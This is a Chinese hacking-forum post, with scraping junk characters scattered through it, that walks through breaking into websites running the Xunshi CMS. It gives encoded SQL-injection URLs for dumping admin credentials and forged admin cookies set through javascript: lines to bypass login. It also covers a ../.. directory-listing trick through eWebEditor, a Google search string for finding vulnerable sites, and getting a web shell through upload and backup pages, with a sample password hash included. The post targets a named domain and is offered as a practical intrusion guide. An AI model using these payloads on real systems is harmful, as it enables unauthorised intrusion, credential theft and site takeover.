讯时漏洞总结

admin

by:血封忆尘
& q+ V4 |) p' a9 v# i
在网上也有什么讯时三板斧的文章..但我个人觉得有时候靠那三种还是入侵不了（随着版本的更新）
5 D) @* t5 E4 R, k
  b% _. J# E$ n7 t* C- p/ Z* y以下本文总结来自黑防去年第9期杂志上的内容...
/ Z" h; ~8 h, L3 ^. p
5 S2 M5 P0 j& l先说一个注入吧:http://www.political-security.com/news_more.asp?lm=2 %41nd 1=2 union %53elect 1,2,3,0x3b%
' R+ v' M6 }& l- P' n% B' |8 I
26user,0x3b%26pass,6,7,8 %46rom %41dmin union %53elect * %46rom lm where 1=2
5 l+ B5 r7 ?7 z1 u& x
* {! u7 o& q& G( h% j6 C: n: i记得千万别多了空格，我测试站的时候就发现多了空格注入不出结果的情况
这里一个注入

效果如图:
% d! ?  U0 Q! o; Z, ~& b. q
) ]# C- h# ], T- g, f: c" l

5 w; I- c5 _3 s: p$ K  {) ^这样就很轻松可以得到管理用户名与密码..这里md5可以拿去破解.但是现在安全意识的提高.

密码复杂了..很难破出来..那么我们可以通过后来cookies欺骗进去

$ B. w- H# l, t" h1 mjavascript:alert(document.cookie="adminuser="+escape("用户名"));javascript:alert(document.cookie="adminpass="+escape("md5值")); javascript:alert(document.cookie="admindj="+escape("1"));
2 ~6 o1 ]" ]1 i( A4 a2 ?
4 c# I. W1 P- N& E3 G3 b4 i那么这里就会出现一种情况了..如果后台找不到咋办呢??请看下一漏洞让你更轻松达到你想要的效果:

0 w2 F* ]  s0 Y因为讯时结合了ewebeditor程序..而它没有在处理的时候忽视了ewebeditor有个可以列目录的漏洞

$ t7 ]  z' b1 |% ?6 ]1 A" `- O. m它是做了验证的..但讯时最没做好的地方就是验证..我们可以通过cookies欺骗来绕过验证.从而可以
/ u4 J7 l0 v9 t3 ^
, l2 k5 w. X5 T, M2 g" {访问这页面来列目录..步骤如下:

9 h: `. O' g" Q5 F: A! w5 Mjavascript:alert(document.cookie="admindj=1")
& N* Z- [! M) H- @
http://www.political-security.co ... asp?id=46&dir=../..

效果如图:


8 l1 C( j) P) W9 J
这样全站目录都能瞧了..找到后台目录..进去..

3 U# B4 q$ I# D! S0 G, k7 Y& M0 n那么进了后台怎么拿shell？？上传--备份就ok了..
9 l/ Q2 q" Y4 ?4 R- m0 k7 `- }3 L
. p2 X$ f- \' n8 {那么有时候有些管理在做后台功能的时候把备份页面去掉了...而他本机里备份页面还是存在的..

这个我也碰到过一次..你都可以通过列目录来实现..
" T5 D* G/ l+ O: I' y" z
javascript:alert(document.cookie="admindj=1")

http://www.political-security.co ... p?action=BackupData

, y: H2 c& m  W7 _备份ok..
3 R5 `4 w$ H9 c0 R
+ ^2 ?6 ^: w6 c! k7 |- L那么以上两个漏洞都被管理封住了...咋办??上面两个是比较常见的..那么下面一个注入漏洞呢?

在admin目录下有个admin_lm_edit.asp页面..里面的id没有过滤 那么我们就可以先cookies下
# _( P8 s' h9 `1 F/ G
% o2 V6 S: m+ h8 Q' w然后访问此页面进行注入..步骤如下:
# [  p! [/ C$ H  p7 q8 w2 R0 a2 x
javascript:alert(document.cookie="adminuser=admin");alert(document.cookie="admindj=1")

3 z( w, V: ~- r. r% _然后请求admin/admin_chk.asp页面

! A8 \& C% _/ l1 ?; t1 c/ z# G输入注入语句admin/admin_lm_edit.asp?id=1 %41nd 1=2 union %53elect 1,2,3,4,id%260x3b%
) Y! M; d; F! S% J
26user%260x3b%26pass,6,7,8%20%46rom%20%41dmin

效果如图所示:

5 X1 q' I  W1 m2 E. P2 `% _) X

$ B, V; {1 e+ _# C1 {- M/ ^讯时漏洞2
. q, _8 A% }3 d5 ?1 y8 z5 W( Agoogle关键字：inurl:news_more.asp?lm2= （关键字很多的自己定义吧）
2 f: t* {. R; P  k2 {
2 Y: _0 ^: h+ @1、/admin/admin_news_pl_view.asp?id=1
//id任意 填入以下语句

1 g- h6 z6 B: d+ X; _2、有时1显示错误信息的时候继续往后退2，3，4，我退到11才找到了页面，郁闷！

3 h! q; _- u6 l+ U- t, \) a

3、|'+dfirst("[user]","[admin]")+chr(124)+dfirst("[pass]","[admin]"),username='
& e* Q- b' X5 l/ E3 Y
+ D; L- q& u* k$ E8 y1 T

( H) Q$ L  N4 ~2 n爆出管理员帐号和密码了



4、cookies进后台

javascript:alert(document.cookie="adminuser=" + escape("admin"));alert(document.cookie="adminpass=" + escape("480d6d6b4d57cc903f3bab877248da40"));
9 }  H1 c; d$ ~  y& q# s# n& d
+ l- T3 s7 ?7 _( {/ u" x: Q
$ k# U$ _, q6 @
1 Q: C0 M: d/ E2 b5、后台用了cookie验证，直接访问http://www.political-security.com/admin/admin_index.asp就OK了！
. x5 Z8 j8 v5 m& B9 t$ G
6 u" {  W; u5 y- j1 X$ s

  ]8 F/ x4 B' Q6、后台有上传和备份取SHELL不难。
0 \( c3 l0 V" R# O, S/ f: x3 s
6 X4 L9 I( B+ @. O; ?/ }7、讯时还有个列目录漏洞：http://www.political-security.co ... asp?id=46&dir=../..
  e) H+ @% Y1 w. ~6 S
# r- `# r# [( P5 U6 i/ M' M. |" [逍遥复仇：我搞了一个讯时cms4.1版本的没有数据库备份不知道怎么搞SHELL，有的说虽然后台显示但备份页面是存在的，登录后台后访问 http://www.political-security.com/admin/admin_db_backup.asp?action=BackupData，我这个没有，郁闷着呢，谁还有其他办法提供一下，谢谢！


9 ]! `2 m! d8 ~4 _' y